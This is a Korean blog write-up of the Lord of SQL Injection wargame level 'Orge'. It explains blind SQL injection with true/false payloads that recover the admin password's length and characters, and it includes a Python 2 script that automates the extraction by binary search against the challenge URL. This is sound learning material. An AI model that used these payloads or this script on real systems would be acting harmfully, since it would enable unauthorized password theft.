Lord of SQL Injection Level 7 Orge 풀이입니다.

 

문제는 이렇게 생겼습니다.

 

보시면 두번째 if문에서 $result['pw'] == $_GET['pw']로 확인을 다시 하는데, 요녀석 때문에 여태까지 다른 방식처럼 인증만 우회하는 방식으로는 풀리지가 않습니다.

 

즉 admin의 패스워드를 알아내야 한다는 것이죠.

 

이때 사용되는 기법이 바로 Blind SQL Injection입니다.

 

장님이 코끼리 만지듯이 한다(?) 라는 식으로 Blind SQL Injection에 대해서 많이들 설명하는데요,

 

간단하게 설명하자면, True / False의 결과만 가지고 조합해서 정보를 알아내는 방식입니다.

 

예컨대, pw값에 다음 값을 넣는다고 생각해보죠

 

'||id='admin'&&length(pw)>1#

그러면 전체 쿼리는 다음처럼 됩니다.

 

select id from prob_orge where id='guest' and pw=''||id='admin'&&length(pw)>1#'

여기서 만약 id가 admin인 녀석의 pw의 길이가 1 초과라면 admin column이 리턴되면서 

<h2>Hello admin</h2>라는 문구를 보게 되죠.

 

이런식으로 숫자를 바꾸어가면서 admin의 pw길이를 유추할 수 있습니다.

 

대충 범위를 1 ~ 100정도 잡고 바이너리 서치를 하면 더 빠르게 찾을 수 있죠.

 

비슷한 방식으로, 길이를 알아냈으면 admin의 pw의 각각의 글자가 어떤 값을 찾는지 찾아낼 수 있습니다.

 

다음 값을 넣는다고 가정해봅시다.

 

'||id='admin'&&ascii(substring(pw, 1,1))>1#

 

그러면 전체 쿼리는 다음과 같게 됩니다.

 

select id from prob_orge where id='guest' and pw=''||id='admin'&&ascii(substring(pw, 3,1))>70#'

 

세번째 글자의 아스키값이 70보다 크면 True가 되어서 Hello admin 문구를 볼 수 있죠.

 

이런 방식으로 각각의 글자들을 다 알아내서 admin의 패스워드를 알아낼 수 있습니다.

 

이걸 다 손으로 하면 매우 귀찮으므로, 파이썬2 스크립트를 작성해서 풀이할 수 있습니다.

 

import urllib2

url = "https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php"
cookie = "PHPSESSID=put_your_login_session_token_here"
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"

truePhrase = "<h2>Hello admin</h2>"

def query(payload):
	uurl = url + "?pw=" + urllib2.quote(payload)
	req = urllib2.Request(uurl)
	req.add_header('cookie', cookie)
	req.add_header("User-Agent", ua)
	res = urllib2.urlopen(req)
	content = res.read(500)
	return truePhrase in content

# '||id='admin'&&length(pw)>1#
# '||id='admin'&&ascii(substring(pw, 1,1))>1#
def find_length():
	print "Finding length of the password..."
	left = 1
	right = 100
	while left < right:
		mid = (left+right)//2
		if query("'||id='admin'&&length(pw)>" + str(mid) +"#"):
			left = mid+1
		else:
			right = mid
	return right

def find_password(pos):
	print "Finding " + str(pos) + "th password..."
	left = 1
	right = 200
	while left < right:
		print (str(left) + "," + str(right))
		mid = (left+right)//2
		if query("'||id='admin'&&ascii(substr(pw," + str(pos) + ",1))>" + str(mid) + "#"):
			left = mid+1
		else:
			right = mid
	print (right)
	return chr(right)
length = find_length()
password = ""
for i in range(1, length+1):
	password += find_password(i)

print "gotcha!!!!"
print password

+ Recent posts